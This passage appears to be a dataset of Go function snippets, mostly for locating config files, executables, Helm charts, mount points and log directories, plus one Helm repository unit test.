2:\n\t\t\tif dir, err := os.Getwd(); err == nil {\n\t\t\t\treturn dir + \"/\", true\n\t\t\t}\n\t\t\tfallthrough\n\t\tcase 3:\n\t\t\tif dir, err := filepath.Abs(filepath.Dir(os.Args[0])); err == nil {\n\t\t\t\treturn dir + \"/\", true\n\t\t\t}\n\t\t\tfallthrough\n\t\tcase 4:\n\t\t\t// linux-only implementation from\n\t\t\t// https://github.com/kardianos/osext/blob/master/osext_procfs.go\n\t\t\tconst deletedTag = \" (deleted)\"\n\t\t\texecpath, err := os.Readlink(\"/proc/self/exe\")\n\t\t\tif err == nil {\n\t\t\t\texecpath = strings.TrimSuffix(execpath, deletedTag)\n\t\t\t\texecpath = strings.TrimPrefix(execpath, deletedTag)\n\t\t\t\treturn filepath.Dir(execpath) + \"/\", true\n\t\t\t}\n\t\t\tfallthrough\n\t\tdefault:\n\t\t\treturn \"\", false\n\t\t}\n\t}\n}", "func downloadChart(ctx context.Context, name, version, downloadDestination, stableRepoURL string, helmSettings HelmAccess) (string, error) {\n\tproviders := getter.All(environment.EnvSettings{})\n\tdl := downloader.ChartDownloader{\n\t\tGetters: providers,\n\t\tHelmHome: helmpath.Home(helmSettings.HelmPath),\n\t\tOut: os.Stdout,\n\t}\n\n\terr := ensureCacheIndex(ctx, helmSettings, stableRepoURL, providers)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Download the chart\n\tfilename, _, err := dl.DownloadTo(name, version, downloadDestination)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tlname, err := filepath.Abs(filename)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = archiver.Unarchive(lname, downloadDestination)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = os.Remove(lname)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn lname, nil\n}", "func (ne *NSEnter) LookPath(file string) (string, error) {\n\treturn \"\", fmt.Errorf(\"not implemented, error looking up : %s\", file)\n}", "func findDefinitionFile(dir string) (string, error) {\n\tpossibleFilenames := []string{\n\t\tfilepath.Join(dir, \"plugin.json\"),\n\t\tfilepath.Join(dir, \"plugin.yaml\"),\n\t\tfilepath.Join(dir, \"plugin.yml\"),\n\t}\n\tfor _, filename := range possibleFilenames {\n\t\tif _, err := os.Stat(filename); err == nil {\n\t\t\treturn filename, nil\n\t\t}\n\t}\n\treturn \"\", ErrDefinitionNotFound\n}", "func (c *ChartMuseumClient) ChartExists(name string, version string, index *helmRepo.IndexFile) (bool, error) {\n\tklog.V(3).Infof(\"Checking if %s-%s chart exists\", name, version)\n\tchartExists, err := utils.ChartExistInIndex(name, version, index)\n\tif err != nil {\n\t\treturn false, errors.Trace(err)\n\t}\n\treturn chartExists, nil\n}", "func findConfigFile() string {\n\t// Prepare list of directories\n\twd, _ := os.Getwd()\n\n\tpaths := []string{\n\t\twd, // current working directory\n\t\t\"/etc/sparkcli\",\n\t}\n\n\t// if there is a current user (or HOME environment) then append that\n\tuser, err := user.Current()\n\tif err == nil {\n\t\tpaths = append(paths, user.HomeDir)\n\t} else if homedir := os.Getenv(\"HOME\"); homedir != \"\" {\n\t\tpaths = append(paths, homedir)\n\t}\n\n\tfor _, basepath := range paths {\n\t\tpath := basepath + string(os.PathSeparator) + \"sparkcli.toml\"\n\t\tif _, err := os.Stat(path); err == nil {\n\t\t\treturn path\n\t\t}\n\t}\n\treturn \"sparkcli.toml\"\n}", "func Locate(curPath string, fileName string) (filePath string) {\n if fspath := filepath.Join(curPath, fileName); IsFile(fspath) {\n filePath = fspath\n } else if fspath = filepath.Dir(curPath); fspath != curPath {\n filePath = Locate(fspath, fileName)\n }\n return\n}", "func FindHierarchyMountRootPath(subsystemName string) string {\n\tf, err := os.Open(\"/proc/self/mountinfo\")\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\ttxt := scanner.Text()\n\t\tfields := strings.Split(txt, \" \")\n\t\t// find whether \"subsystemName\" appear in the last field\n\t\t// if so, then the fifth field is the path\n\t\tfor _, opt := range strings.Split(fields[len(fields)-1], \",\") {\n\t\t\tif opt == subsystemName {\n\t\t\t\treturn fields[4]\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\"\n}", "func (dp Datapoint) Directory() (string, error) {\n\tind := strings.LastIndexByte(dp.Name, '.')\n\tif ind < 0 {\n\t\treturn \"\", fmt.Errorf(\"Metric without directory %s\", dp.Name)\n\t}\n\treturn dp.Name[:ind], nil\n}", "func LocationsOn(sys string) []string {\n\tlocations := []string{}\n\n\tif wd, err := os.Getwd(); err == nil {\n\t\tlocations = append(locations, filepath.Join(wd, VendorDir))\n\t}\n\n\tswitch sys {\n\tcase \"windows\":\n\t\tlocations = append(locations, filepath.Join(os.Getenv(\"APPDATA\"), \"Composer\", VendorDir))\n\t\tbreak\n\n\tcase \"darwin\":\n\t\tlocations = append(locations, filepath.Join(os.Getenv(\"HOME\"), \".composer\", VendorDir))\n\t\tbreak\n\n\tdefault:\n\t\tif dir, ok := xdgConfigDir(); ok {\n\t\t\tlocations = append(locations, filepath.Join(dir, \"composer\", VendorDir))\n\t\t} else {\n\t\t\tlocations = append(locations, filepath.Join(os.Getenv(\"HOME\"), \".composer\", VendorDir))\n\t\t}\n\t}\n\n\treturn locations\n}", "func findAbsoluteDeviceByIDPath(volumeName string) (string, error) {\n\tpath := getDeviceByIDPath(volumeName)\n\n\t// EvalSymlinks returns relative link if the file is not a symlink\n\t// so we do not have to check if it is symlink prior to evaluation\n\tresolved, err := filepath.EvalSymlinks(path)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not resolve symlink %q: %v\", path, err)\n\t}\n\n\tif !strings.HasPrefix(resolved, \"/dev\") {\n\t\treturn \"\", fmt.Errorf(\"resolved symlink %q for %q was unexpected\", resolved, path)\n\t}\n\n\treturn resolved, nil\n}", "func (i *IndexBuilder) inspectDirs(dirs []string, revision string, c *git.Commit, head bool) error {\n\tfor _, dir := range dirs {\n\t\tchartAbsPath := i.ChartAbsPath(dir)\n\t\tlog.Debugf(\"Loading chart from '%s'...\", chartAbsPath)\n\t\tchart, err := loader.LoadDir(chartAbsPath)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"error loading chart: '%s'\", err)\n\t\t\tcontinue\n\t\t}\n\t\tif err = chart.Validate(); err != nil {\n\t\t\tlog.Warnf(\"error validating chart: '%s'\", err)\n\t\t\tcontinue\n\t\t}\n\t\tlog.Infof(\"Found chart '%s' version '%s'\", chart.Metadata.Name, chart.Metadata.Version)\n\t\ti.register(chart.Metadata, revision, c, head)\n\t}\n\treturn nil\n}", "func Load(chart string) (*Chart, error) {\n\tif fi, err := os.Stat(chart); err != nil {\n\t\treturn nil, err\n\t} else if !fi.IsDir() {\n\t\treturn nil, fmt.Errorf(\"Chart %s is not a directory.\", chart)\n\t}\n\n\tcf, err := LoadChartfile(filepath.Join(chart, \"Chart.yaml\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc := &Chart{\n\t\tChartfile: cf,\n\t\tKind: map[string][]*manifest.Manifest{},\n\t}\n\n\tms, err := manifest.ParseDir(chart)\n\tif err != nil {\n\t\treturn c, err\n\t}\n\n\tc.attachManifests(ms)\n\n\treturn c, nil\n}", "func Path(sys string) (string, error) {\n\n\tvar paths []string\n\n\t// if CHEAT_CONFIG_PATH is set, return it\n\tif os.Getenv(\"CHEAT_CONFIG_PATH\") != \"\" {\n\n\t\t// expand ~\n\t\texpanded, err := homedir.Expand(os.Getenv(\"CHEAT_CONFIG_PATH\"))\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to expand ~: %v\", err)\n\t\t}\n\n\t\treturn expanded, nil\n\n\t\t// OSX config paths\n\t} else if sys == \"darwin\" {\n\n\t\tpaths = []string{\n\t\t\tpath.Join(os.Getenv(\"XDG_CONFIG_HOME\"), \"/cheat/conf.yml\"),\n\t\t\tpath.Join(os.Getenv(\"HOME\"), \".config/cheat/conf.yml\"),\n\t\t\tpath.Join(os.Getenv(\"HOME\"), \".cheat/conf.yml\"),\n\t\t}\n\n\t\t// Linux config paths\n\t} else if sys == \"linux\" {\n\n\t\tpaths = []string{\n\t\t\tpath.Join(os.Getenv(\"XDG_CONFIG_HOME\"), \"/cheat/conf.yml\"),\n\t\t\tpath.Join(os.Getenv(\"HOME\"), \".config/cheat/conf.yml\"),\n\t\t\tpath.Join(os.Getenv(\"HOME\"), \".cheat/conf.yml\"),\n\t\t\t\"/etc/cheat/conf.yml\",\n\t\t}\n\n\t\t// Windows config paths\n\t} else if sys == \"windows\" {\n\n\t\tpaths = []string{\n\t\t\tfmt.Sprintf(\"%s/cheat/conf.yml\", os.Getenv(\"APPDATA\")),\n\t\t\tfmt.Sprintf(\"%s/cheat/conf.yml\", os.Getenv(\"PROGRAMDATA\")),\n\t\t}\n\n\t\t// Unsupported platforms\n\t} else {\n\t\treturn \"\", fmt.Errorf(\"unsupported os: %s\", sys)\n\t}\n\n\t// check if the config file exists on any paths\n\tfor _, p := range paths {\n\t\tif _, err := os.Stat(p); err == nil {\n\t\t\treturn p, nil\n\t\t}\n\t}\n\n\t// we can't find the config file if we make it this far\n\treturn \"\", fmt.Errorf(\"could not locate config file\")\n}", "func (zfs *ZFS) FindDatasetForFile(path string) ZFSDataset {\n\t// create a copy before sorting to keep the original dataset order intact\n\tdatasets := make(ZFSDatasets, len(zfs.Datasets))\n\tcopy(datasets, zfs.Datasets)\n\n\t// sort the datasets - longest path at first\n\tsort.Sort(SortByMountPointDesc(datasets))\n\n\tfor _, ds := range datasets {\n\t\tif strings.HasPrefix(path, ds.MountPoint+\"/\") {\n\t\t\treturn ds\n\t\t}\n\t}\n\tpanic(\"no dataset found\")\n}", "func (this *Asset) findAssetPath() (string, error) {\n\tfor _, value := range Config.AssetsLocations {\n\t\tfile_path := path.Join(value, this.assetName) + this.assetExt()\n\t\tif _, err := os.Stat(file_path); !os.IsNotExist(err) {\n\t\t\tif _, err := os.Stat(file_path); !os.IsNotExist(err) {\n\t\t\t\treturn file_path, nil\n\t\t\t}\n\t\t\treturn file_path, nil\n\t\t}\n\t}\n\treturn \"\", errors.New(\"Can't find asset \")\n}", "func findConfigFile() (string, error) {\n\tdir, err := os.Getwd()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfor {\n\t\tfp := filepath.Join(dir, ConfigFileName)\n\t\tif _, err := os.Stat(fp); err == nil {\n\t\t\treturn fp, nil\n\t\t} else if !os.IsNotExist(err) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tparentDir := filepath.Dir(dir)\n\t\tif parentDir == dir {\n\t\t\treturn \"\", nil\n\t\t}\n\t\tdir = parentDir\n\t}\n}", "func (e *cniExec) FindInPath(plugin string, paths []string) (string, error) {\n\treturn invoke.FindInPath(plugin, paths)\n}", "func FindConfigFile(fileName string) (path string) {\n\tfound := FindFile(filepath.Join(\"config\", fileName))\n\tif found == \"\" {\n\t\tfound = FindPath(fileName, []string{\".\"}, nil)\n\t}\n\n\treturn found\n}", "func FindTestdataFolder(t *testing.T) string {\n\tpath := \"testdata\"\n\n\tfor i := 0; i < 3; i++ {\n\t\texists, err := fs.PathExists(path)\n\t\tcheckError(t, err)\n\t\tif exists {\n\t\t\treturn path\n\t\t}\n\t\tpath = filepath.Join(\"..\", path)\n\t}\n\n\tcheckError(t, errors.New(\"testdata folder not found\"))\n\treturn \"\"\n}", "func locateGreenplumInstallationDirectory() string {\n\t// rpm usually installs the software in /usr/local\n\t// we need to check what is the directory name it has taken\n\tbaseDir := \"/usr/local/\"\n\tfolders, _ := FilterDirsGlob(baseDir, fmt.Sprintf(\"*%s*\", cmdOptions.Version))\n\tif len(folders) > 0 {\n\t\t// We found one\n\t\treturn folders[0]\n\t} else {\n\t\tFatalf(fmt.Sprintf(\"Cannot locate the directory name at %s where the version %s is installed\", baseDir, cmdOptions.Version))\n\t}\n\n\treturn \"\"\n}", "func locateWorkDir() (string, error) {\n\t// 1. Use work directory if explicitly passed in as an env var.\n\tif v, ok := os.LookupEnv(EnvTestgroundWorkDir); ok {\n\t\treturn v, ensureDir(v)\n\t}\n\n\t// 2. Use \"$HOME/.testground\" as the work directory.\n\thome, ok := os.LookupEnv(\"HOME\")\n\tif !ok {\n\t\treturn \"\", errors.New(\"$HOME env variable not declared; cannot calculate work directory\")\n\t}\n\tp := path.Join(home, \".testground\")\n\treturn p, ensureDir(p)\n}", "func (w *Worker) loadChart(u string) (*chart.Chart, error) {\n\t// Rate limit requests to Github to avoid them being rejected\n\tif strings.HasPrefix(u, \"https://github.com\") {\n\t\t_ = w.rl.Wait(w.ctx)\n\t}\n\n\tresp, err := w.hg.Get(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode == http.StatusOK {\n\t\tchart, err := loader.LoadArchive(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn chart, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected status code received: %d\", resp.StatusCode)\n}", "func (sys *System) findLocation(ctx *Context, name string, check bool) (*Location, error) {\n\tLog(DEBUG, ctx, \"System.findLocation\", \"name\", name, \"check\", check)\n\tcheck = check && sys.checkingExistence(ctx)\n\treturn sys.CachedLocations.Open(ctx, sys, name, check)\n}", "func makeChartPath(base string, clientVersion string, source *helmfluxv1.RepoChartSource) (string, string, error) {\n\t// We don't need to obscure the location of the charts in the\n\t// filesystem; but we do need a stable, filesystem-friendly path\n\t// to them that is based on the URL and the client version.\n\trepoPath := filepath.Join(base, clientVersion, base64.URLEncoding.EncodeToString([]byte(source.CleanRepoURL())))\n\tif err := os.MkdirAll(repoPath, 00750); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tfilename := fmt.Sprintf(\"%s-%s.tgz\", source.Name, source.Version)\n\treturn repoPath, filename, nil\n}", "func Find(path string) (parsed Path, appPath string, err error) {\n\tfor len(path) != 0 && path != \".\" && path != \"/\" {\n\t\tparsed, err = ParseAt(path)\n\t\tif errors.Is(err, gomodule.ErrGoModNotFound) {\n\t\t\tpath = filepath.Dir(path)\n\t\t\tcontinue\n\t\t}\n\t\treturn parsed, path, err\n\t}\n\treturn Path{}, \"\", errors.Wrap(gomodule.ErrGoModNotFound, \"could not locate your app's root dir\")\n}", "func (c *Chart) GetChart(details *Details) (*chart.Chart, error) {\n\trepoURL := details.RepoURL\n\tif repoURL == \"\" {\n\t\t// FIXME: Make configurable\n\t\trepoURL = defaultRepoURL\n\t}\n\trepoURL = strings.TrimSuffix(strings.TrimSpace(repoURL), \"/\") + \"/index.yaml\"\n\n\tauthHeader := \"\"\n\tif details.Auth.Header != nil {\n\t\tnamespace := os.Getenv(\"POD_NAMESPACE\")\n\t\tif namespace == \"\" {\n\t\t\tnamespace = defaultNamespace\n\t\t}\n\n\t\tsecret, err := c.kubeClient.Core().Secrets(namespace).Get(details.Auth.Header.SecretKeyRef.Name, metav1.GetOptions{})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tauthHeader = string(secret.Data[details.Auth.Header.SecretKeyRef.Key])\n\t}\n\n\tlog.Printf(\"Downloading repo %s index...\", repoURL)\n\trepoIndex, err := fetchRepoIndex(&c.netClient, repoURL, authHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchartURL, err := findChartInRepoIndex(repoIndex, repoURL, details.ChartName, details.Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"Downloading %s ...\", chartURL)\n\tchartRequested, err := fetchChart(&c.netClient, chartURL, authHeader, c.load)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn chartRequested, nil\n}", "func getFile(chart *chart.Chart, name string) *chart.File {\n\tfor _, file := range chart.Files {\n\t\tif file.Name == name {\n\t\t\treturn file\n\t\t}\n\t}\n\treturn nil\n}", "func FindConfigFile(fileName string) string {\n\tif _, err := os.Stat(\"/tmp/\" + fileName); err == nil {\n\t\tfileName, _ = filepath.Abs(\"/tmp/\" + fileName)\n\t} else if _, err := os.Stat(\"./config/\" + fileName); err == nil {\n\t\tfileName, _ = filepath.Abs(\"./config/\" + fileName)\n\t} else if _, err := os.Stat(\"../config/\" + fileName); err == nil {\n\t\tfileName, _ = filepath.Abs(\"../config/\" + fileName)\n\t} else if _, err := os.Stat(fileName); err == nil {\n\t\tfileName, _ = filepath.Abs(fileName)\n\t}\n\n\treturn fileName\n}", "func (m *Config) FindByName(chartName string) *Info {\n\tfor _, wmi := range m.Maps {\n\t\tif chartName == wmi.ChartName {\n\t\t\treturn &wmi\n\t\t}\n\t\tif guid.TolerateMiscasedKey && strings.EqualFold(string(wmi.ChartName), chartName) {\n\t\t\treturn &wmi\n\t\t}\n\t}\n\treturn nil\n}", "func LookPath(file string) (string, error) {\n\tpath, err := exec.LookPath(file)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif filepath.Base(file) == file && !filepath.IsAbs(path) {\n\t\treturn \"\", relError(file, path)\n\t}\n\treturn path, nil\n}", "func (n EpisodeDetails) GetSeriesPath(destination string) string {\n\treturn filepath.Join(destination, FileNameCleaner(n.Showtitle))\n}", "func (tf *factory) findDockerLogPath(containerID string) string {\n\t// if the user has set a custom docker data root, this will pick it up\n\t// and set it in place of the usual docker base path\n\toverridePath := coreConfig.Datadog.GetString(\"logs_config.docker_path_override\")\n\tif len(overridePath) > 0 {\n\t\treturn filepath.Join(overridePath, \"containers\", containerID, fmt.Sprintf(\"%s-json.log\", containerID))\n\t}\n\n\tswitch runtime.GOOS {\n\tcase \"windows\":\n\t\treturn filepath.Join(\n\t\t\tdockerLogsBasePathWin, \"containers\", containerID,\n\t\t\tfmt.Sprintf(\"%s-json.log\", containerID))\n\tdefault: // linux, darwin\n\t\t// this config flag provides temporary support for podman while it is\n\t\t// still recognized by AD as a \"docker\" runtime.\n\t\tif coreConfig.Datadog.GetBool(\"logs_config.use_podman_logs\") {\n\t\t\treturn filepath.Join(\n\t\t\t\tpodmanLogsBasePath, \"storage/overlay-containers\", containerID,\n\t\t\t\t\"userdata/ctr.log\")\n\t\t}\n\t\treturn filepath.Join(\n\t\t\tdockerLogsBasePathNix, \"containers\", containerID,\n\t\t\tfmt.Sprintf(\"%s-json.log\", containerID))\n\t}\n}", "func getConfigFilePath() string {\n\tpathList := [5]string{\n\t\t\"config.json\",\n\t\t\"../config.json\",\n\t\t\"../../config.json\",\n\t\t\"../../../config.json\",\n\t\t\"../../../../config.json\",\n\t}\n\n\t_, b, _, _ := runtime.Caller(0)\n\tfilePath := filepath.Dir(b)\n\tfilePath = filepath.Join(filePath, \"../config.json\")\n\n\tpath, err := os.Getwd()\n\tif err == nil {\n\t\tfor _, configPath := range pathList {\n\t\t\tprocessFilePath := filepath.Join(path, configPath)\n\t\t\texist, _ := exists(processFilePath)\n\t\t\tif exist == true {\n\t\t\t\tfilePath = processFilePath\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn filePath\n}", "func TestChartWithRelativeURL(t *testing.T) {\n\trepoName := \"testRepo\"\n\trepoNamespace := \"default\"\n\n\ttarGzBytes, err := ioutil.ReadFile(testTgz(\"airflow-1.0.0.tgz\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tindexYAMLBytes, err := ioutil.ReadFile(testYaml(\"chart-with-relative-url.yaml\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.RequestURI == \"/index.yaml\" {\n\t\t\tfmt.Fprintln(w, string(indexYAMLBytes))\n\t\t} else if r.RequestURI == \"/charts/airflow-1.0.0.tgz\" {\n\t\t\tw.WriteHeader(200)\n\t\t\tw.Write(tarGzBytes)\n\t\t} else {\n\t\t\tw.WriteHeader(404)\n\t\t}\n\t}))\n\n\trepoSpec := &sourcev1.HelmRepositorySpec{\n\t\tURL: ts.URL,\n\t\tInterval: metav1.Duration{Duration: 1 * time.Minute},\n\t}\n\n\tlastUpdateTime, err := time.Parse(time.RFC3339, \"2021-07-01T05:09:45Z\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trepoStatus := &sourcev1.HelmRepositoryStatus{\n\t\tArtifact: &sourcev1.Artifact{\n\t\t\tChecksum: \"651f952130ea96823711d08345b85e82be011dc6\",\n\t\t\tLastUpdateTime: metav1.Time{Time: lastUpdateTime},\n\t\t\tRevision: \"651f952130ea96823711d08345b85e82be011dc6\",\n\t\t},\n\t\tConditions: []metav1.Condition{\n\t\t\t{\n\t\t\t\tType: \"Ready\",\n\t\t\t\tStatus: \"True\",\n\t\t\t\tReason: sourcev1.IndexationSucceededReason,\n\t\t\t},\n\t\t},\n\t\tURL: ts.URL + \"/index.yaml\",\n\t}\n\trepo := newRepo(repoName, repoNamespace, repoSpec, repoStatus)\n\tdefer ts.Close()\n\n\ts, mock, err := newServerWithRepos(t,\n\t\t[]sourcev1.HelmRepository{repo},\n\t\t[]testSpecChartWithUrl{\n\t\t\t{\n\t\t\t\tchartID: fmt.Sprintf(\"%s/airflow\", repoName),\n\t\t\t\tchartRevision: \"1.0.0\",\n\t\t\t\tchartUrl: ts.URL + \"/charts/airflow-1.0.0.tgz\",\n\t\t\t\trepoNamespace: repoNamespace,\n\t\t\t},\n\t\t}, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tkey, bytes, err := s.redisKeyValueForRepo(repo)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tmock.ExpectGet(key).SetVal(string(bytes))\n\n\tresponse, err := s.GetAvailablePackageVersions(\n\t\tcontext.Background(), &corev1.GetAvailablePackageVersionsRequest{\n\t\t\tAvailablePackageRef: availableRef(repoName+\"/airflow\", repoNamespace),\n\t\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\topts := cmpopts.IgnoreUnexported(\n\t\tcorev1.GetAvailablePackageVersionsResponse{},\n\t\tcorev1.PackageAppVersion{})\n\tif got, want := response, expected_versions_airflow; !cmp.Equal(want, got, opts) {\n\t\tt.Errorf(\"mismatch (-want +got):\\n%s\", cmp.Diff(want, got, opts))\n\t}\n\n\tif err = mock.ExpectationsWereMet(); err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "func FindParent(name string) string {\n\tparent := path.Dir(name)\n\tif parent == \".\" || parent == \"/\" {\n\t\tparent = \"\"\n\t}\n\treturn parent\n}", "func lookPath(file string, path string) (string, error) {\n\t// NOTE(rsc): I wish we could use the Plan 9 behavior here\n\t// (only bypass the path if file begins with / or ./ or ../)\n\t// but that would not match all the Unix shells.\n\n\tif strings.Contains(file, \"/\") {\n\t\terr := findExecutable(file)\n\t\tif err == nil {\n\t\t\treturn file, nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tfor _, dir := range filepath.SplitList(path) {\n\t\tif dir == \"\" {\n\t\t\t// Unix shell semantics: path element \"\" means \".\"\n\t\t\tdir = \".\"\n\t\t}\n\t\tpath := filepath.Join(dir, file)\n\t\tif err := findExecutable(path); err == nil {\n\t\t\treturn path, nil\n\t\t}\n\t}\n\treturn \"\", errors.Wrapf(ErrNotFound, \"unable to find executable: %s\", path)\n}", "func FindConfig(limit int) (string, error) {\n\tcwd, err := os.Getwd()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdir := cwd\n\tprev := cwd + \"hack\"\n\tfor {\n\t\tlimit--\n\t\tif limit < 0 || dir == prev {\n\t\t\treturn \"\", NewConfigNotFoundError()\n\t\t}\n\t\t// logInfo(\"@@@ looking in: %v\\n\", dir)\n\t\tcpath := path.Join(dir, CONF_NAME)\n\t\tstat, err := os.Stat(cpath)\n\t\tif err == nil && !stat.IsDir() {\n\t\t\treturn cpath, nil\n\t\t}\n\t\tprev = dir\n\t\tdir = path.Dir(dir)\n\t}\n}", "func FindConfigFile() (string, error) {\n\treturn firstWithoutError(\n\t\tcurry(fmt.Sprintf(\"%s/%s\", Dir, Filename), accessible),\n\t\tcompose(filenameHidden, homeDirOf(user.Current), accessible),\n\t\tcurry(DefaultConfigFileAbsolute(), accessible),\n\t)\n}", "func LookupCommand(name string) (string, error) {\n\tfor _, cmdName := range commands[name] {\n\t\t_, err := exec.LookPath(cmdName)\n\t\tif err != nil {\n\t\t\tif errors.Unwrap(err) == exec.ErrNotFound {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn cmdName, err\n\t\t}\n\t\treturn cmdName, nil\n\t}\n\treturn \"\", errors.New(\"none of these commands were found in your $PATH: \" + strings.Join(commands[name], \" \"))\n}", "func FindCommonDirectory(paths []string) string {\n\tif len(paths) == 0 {\n\t\treturn \"\"\n\t}\n\tslash := string(filepath.Separator)\n\tcommonDir := paths[0]\n\tfor commonDir != slash {\n\t\tfound := true\n\t\tfor _, path := range paths {\n\t\t\tif !strings.HasPrefix(path+slash, commonDir+slash) {\n\t\t\t\tfound = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif found {\n\t\t\tbreak\n\t\t}\n\t\tcommonDir = filepath.Dir(commonDir)\n\t}\n\treturn commonDir\n}", "func (conf *Config) LookupInitPath() (string, error) {\n\tbinary := conf.GetInitPath()\n\tif filepath.IsAbs(binary) {\n\t\treturn binary, nil\n\t}\n\n\tfor _, dir := range []string{\n\t\t// FHS 3.0: \"/usr/libexec includes internal binaries that are not intended to be executed directly by users or shell scripts. Applications may use a single subdirectory under /usr/libexec.\"\n\t\t// https://refspecs.linuxfoundation.org/FHS_3.0/fhs/ch04s07.html\n\t\t\"/usr/local/libexec/docker\",\n\t\t\"/usr/libexec/docker\",\n\n\t\t// FHS 2.3: \"/usr/lib includes object files, libraries, and internal binaries that are not intended to be executed directly by users or shell scripts.\"\n\t\t// https://refspecs.linuxfoundation.org/FHS_2.3/fhs-2.3.html#USRLIBLIBRARIESFORPROGRAMMINGANDPA\n\t\t\"/usr/local/lib/docker\",\n\t\t\"/usr/lib/docker\",\n\t} {\n\t\t// exec.LookPath has a fast-path short-circuit for paths that contain \"/\" (skipping the PATH lookup) that then verifies whether the given path is likely to be an actual executable binary (so we invoke that instead of reimplementing the same checks)\n\t\tif file, err := exec.LookPath(filepath.Join(dir, binary)); err == nil {\n\t\t\treturn file, nil\n\t\t}\n\t}\n\n\t// if we checked all the \"libexec\" directories and found no matches, fall back to PATH\n\treturn exec.LookPath(binary)\n}", "func Find(executable, path string) string {\n\text := filepath.Ext(executable)\n\tif runtime.GOOS == \"windows\" && ext != \".exe\" {\n\t\texecutable += \".exe\"\n\t}\n\tif _, err := os.Stat(executable); err == nil {\n\t\treturn executable\n\t}\n\tif path == \"\" {\n\t\tpath = os.Getenv(\"PATH\")\n\t\tif path == \"\" {\n\t\t\treturn \"\"\n\t\t}\n\t}\n\tpaths := strings.Split(path, string(os.PathListSeparator))\n\tfor i := range paths {\n\t\tf := filepath.Join(paths[i], executable)\n\t\tif _, err := os.Stat(f); err == nil {\n\t\t\tabsPath, err := filepath.Abs(f)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\"\n\t\t\t}\n\t\t\treturn absPath\n\t\t}\n\t}\n\treturn \"\"\n}", "func lookupPath(exe string) string {\n\texePath, ok := commandPaths[exe]\n\tif ok {\n\t\treturn exePath\n\t}\n\n\tvar err error\n\texePath, err = exec.LookPath(exe)\n\tif err != nil {\n\t\tlog.Fatalf(\"Not installed: %s\\n\", exe)\n\t}\n\tcommandPaths[exe] = exePath\n\treturn exePath\n}", "func (s *SymbolStore) locateLibraryPaths(path string, library string, inputFile *elf.File) ([]string, error) {\n\tvar ret []string\n\tvar searchPath []string\n\n\t// Does it got RPATH?\n\trpaths, err := inputFile.DynString(elf.DT_RPATH)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, rpath := range rpaths {\n\t\tsearchPath = append(searchPath, s.rpathEscaped(rpath, path)...)\n\t}\n\n\t// TODO: Be unstupid and accept DT_RUNPATH foo as well as faked LD_LIBRARY_PATH\n\tsearchPath = append(searchPath, s.systemLibraries...)\n\n\t// Run path is always after system paths\n\trunpaths, err := inputFile.DynString(elf.DT_RUNPATH)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, runpath := range runpaths {\n\t\tsearchPath = append(searchPath, s.rpathEscaped(runpath, path)...)\n\t}\n\n\tfor _, p := range searchPath {\n\t\t// Find out if the guy exists.\n\t\tfullPath := filepath.Join(p, library)\n\t\tst, err := os.Stat(fullPath)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Using stat not lstat..\n\t\tif !st.Mode().IsRegular() {\n\t\t\tcontinue\n\t\t}\n\t\tret = append(ret, fullPath)\n\n\t}\n\treturn ret, nil\n}", "func locateWorkDir() (string, error) {\n\t// 1. Use work directory if explicitly passed in as an env var.\n\tif v, ok := os.LookupEnv(EnvTestgroundWorkDir); ok {\n\t\treturn v, ensureDir(v)\n\t}\n\n\t// 2. Use \"$HOME/.testground\" as the work directory.\n\n\thome, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tp := path.Join(home, \".testground\")\n\treturn p, ensureDir(p)\n}", "func (a *HetznerVolumes) FindMountedVolume(volume *volumes.Volume) (string, error) {\n\tdevice := volume.LocalDevice\n\n\tklog.V(2).Infof(\"Finding mounted volume %q\", device)\n\t_, err := os.Stat(volumes.PathFor(device))\n\tif err == nil {\n\t\tklog.V(2).Infof(\"Found mounted volume %q\", device)\n\t\treturn device, nil\n\t}\n\n\tif !os.IsNotExist(err) {\n\t\treturn \"\", fmt.Errorf(\"failed to find local 